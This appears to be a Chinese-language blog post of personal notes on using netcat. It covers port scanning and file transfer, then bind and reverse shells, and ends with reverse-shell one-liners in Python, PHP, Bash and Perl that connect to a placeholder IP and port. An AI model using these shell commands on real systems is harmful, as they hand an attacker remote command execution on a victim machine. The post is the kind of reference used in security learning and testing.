zl程序教程

您现在的位置是:首页 >  其他

当前栏目

NetCat使用指南

2023-04-18 14:53:32 时间
前言

博主老年痴呆,需要写笔记才能勉强记住东西。

正文

基本用法

连接远程主机:nc (-nvv) {ip} {port} 监听本地端口:nc -l -p {port} 持续监听端口:nc -L -l -p {port}

保存监听结果:nc -l -p {port} > {file} 持续保存结果:nc -L -l -p {port} > {file}

扫描主机端口:

nc -v {ip} {port}                 // 扫描单个 TCP 端口
nc -v -z {ip} {start_port} - {end_port}     //扫描多个 TCP 端口 
nc -v -u {ip} {port}                 // 扫描单个 UDP 端口
nc -v -u -z {ip} {start_port} - {end_port}     //扫描多个 UDP 端口 
nc -v -w {second} {start_port} - {end_port}     //设置停留时间

远程传输文件

nc {ip} {port} < {file}     // 传输端
nc -l -p {port} > {file}     // 接收端

获取权限

正向获取权限:

nc {ip} {port}                 // 攻击主机
nc -lvp {port} -e {/bash/sh|cmd.exe}     // 目标主机

反向获取权限:

nc -lvp {port}                 // 攻击主机
nc {ip} {port} -e {/bash/sh|cmd.exe}     // 目标主机

无 Netcat 获取反向 Shell:

Python 反向 Shell:

python -c 'import socket, subprocess, os;s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2);p=subprocess.call(["{/bin/sh|cmd.exe}","-i"]);'

PHP 反向 Shell:

php -r '$sock=fsockopen("{ip}",{port});exec("{/bin/sh|cmd.exe} -i <&3 >&3 2>&3");'

Bash 反向 Shell:

bash -i>&/dev/tcp/{ip}/{port} 0>&1

Perl 反向 Shell:

perl -e 'use Socket;$i="{ip}";$p={port};socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));if(connect(S, sockaddr_in($p, inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' // 只能使用单引号

参考《"瑞士军刀"Netcat 使用方法总结》,仅供个人学习。

版权属于:Xcnte' s Blog(除特别注明外) 本文链接:https://www.xcnte.com/archives/10/ 本站文章采用 知识共享署名4.0 国际许可协议 进行许可,请在转载时注明出处及本声明!